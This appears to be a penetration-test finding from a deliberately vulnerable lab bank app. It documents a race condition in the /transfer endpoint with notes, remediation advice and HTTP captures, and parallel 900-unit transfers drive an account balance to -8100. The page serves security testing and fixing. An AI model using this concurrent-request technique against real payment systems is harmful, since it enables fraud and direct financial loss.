Test case 11 / 26FAIL
Race Condition - Transfer - Balance Check
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Race Condition - Transfer - Balance Check
01 — Notes
Test notes
Vulnerability
[FAIL] Race Condition - Transfer - Balance Check
Description
The /transfer endpoint reads the sender's balance, checks that funds are sufficient, then writes the new balance as a separate operation with no atomic database transaction and no row locking. Ten concurrently sent transfer requests all pass the balance check using the same stale value before any write completes (TOCTOU).
Impact
Integrity (Critical): an attacker can send funds far beyond their available balance. In testing, the sender's balance went negative while the recipient's balance increased in full, creating money out of thin air. In a banking system this means direct financial loss and inconsistent accounting.
CWE
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
OWASP
A04:2021 - Insecure Design
Scenario
Normal: one transfer within the balance succeeds, and one transfer exceeding the balance is rejected with an insufficient funds message, proving the control works when serialized. Exploitation: ten transfers of 900 each are sent in parallel from a much smaller balance. Impact: the sender's balance becomes negative and the total transferred exceeds the balance ever held.
Endpoint
POST http://127.0.0.1:5001/transfer
Affected feature
Fund transfers between accounts
Remediation
- Perform the balance check and the debit in a single atomic database transaction.
- Lock the sender's account row (SELECT ... FOR UPDATE) or use a conditional update UPDATE ... SET balance = balance - x WHERE balance >= x.
- Add a CHECK (balance >= 0) constraint on the balance column as a safety net.
- Apply an idempotency key and rate limiting to the transfer endpoint.
Proof of concept
1) (Screenshot 1) NORMAL: a transfer of 100 within the balance -> succeeds.
2) (Screenshot 2) NORMAL: a transfer of 5000 exceeding the balance -> rejected, the balance control works when serialized.
3) (Screenshot 3) BASELINE: the attacker's balance before the attack = 900.0.
4) (Screenshot 4) EXPLOITATION: ten transfers of 900 are sent concurrently -> all are reported successful.
5) (Screenshot 5) CIA IMPACT: the attacker's balance becomes -8100.0, negative and beyond the funds ever held.
View source note (English)
Vulnerability:
[FAIL] Race Condition - Transfer - Balance Check
Description:
The /transfer endpoint reads the sender's balance, checks that funds are sufficient, then writes the new balance as a separate operation with no atomic database transaction and no row locking. Ten concurrently sent transfer requests all pass the balance check using the same stale value before any write completes (TOCTOU).
Impact:
Integrity (Critical): an attacker can send funds far beyond their available balance. In testing, the sender's balance went negative while the recipient's balance increased in full, creating money out of thin air. In a banking system this means direct financial loss and inconsistent accounting.
CWE:
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
OWASP:
A04:2021 - Insecure Design
Scenario:
Normal: one transfer within the balance succeeds, and one transfer exceeding the balance is rejected with an insufficient funds message, proving the control works when serialized. Exploitation: ten transfers of 900 each are sent in parallel from a much smaller balance. Impact: the sender's balance becomes negative and the total transferred exceeds the balance ever held.
Endpoint:
POST http://127.0.0.1:5001/transfer
Affected Feature:
Fund transfers between accounts
Remediation:
- Perform the balance check and the debit in a single atomic database transaction.
- Lock the sender's account row (SELECT ... FOR UPDATE) or use a conditional update UPDATE ... SET balance = balance - x WHERE balance >= x.
- Add a CHECK (balance >= 0) constraint on the balance column as a safety net.
- Apply an idempotency key and rate limiting to the transfer endpoint.
POC:
1) (Screenshot 1) NORMAL: a transfer of 100 within the balance -> succeeds.
2) (Screenshot 2) NORMAL: a transfer of 5000 exceeding the balance -> rejected, the balance control works when serialized.
3) (Screenshot 3) BASELINE: the attacker's balance before the attack = 900.0.
4) (Screenshot 4) EXPLOITATION: ten transfers of 900 are sent concurrently -> all are reported successful.
5) (Screenshot 5) CIA IMPACT: the attacker's balance becomes -8100.0, negative and beyond the funds ever held.
02 — Screenshots
Screenshots (5)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json
{"to_account": "9159912486", "amount": 100}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT
{
"message": "Transfer Completed",
"new_balance": 900.0,
"status": "success"
}CAPTURE 02 / 2
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json
{"to_account": "9159912486", "amount": 5000}HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT
{
"message": "Insufficient funds",
"status": "error"
}CAPTURE 03 / 3
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT
{
"account_number": "0932191785",
"balance": 900.0,
"status": "success",
"username": "pentest_attacker"
}CAPTURE 04 / 4
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json
{"to_account": "9159912486", "amount": 900}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT
{
"message": "Transfer Completed",
"new_balance": 0.0,
"status": "success"
}CAPTURE 05 / 5
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT
{
"account_number": "0932191785",
"balance": -8100.0,
"status": "success",
"username": "pentest_attacker"
}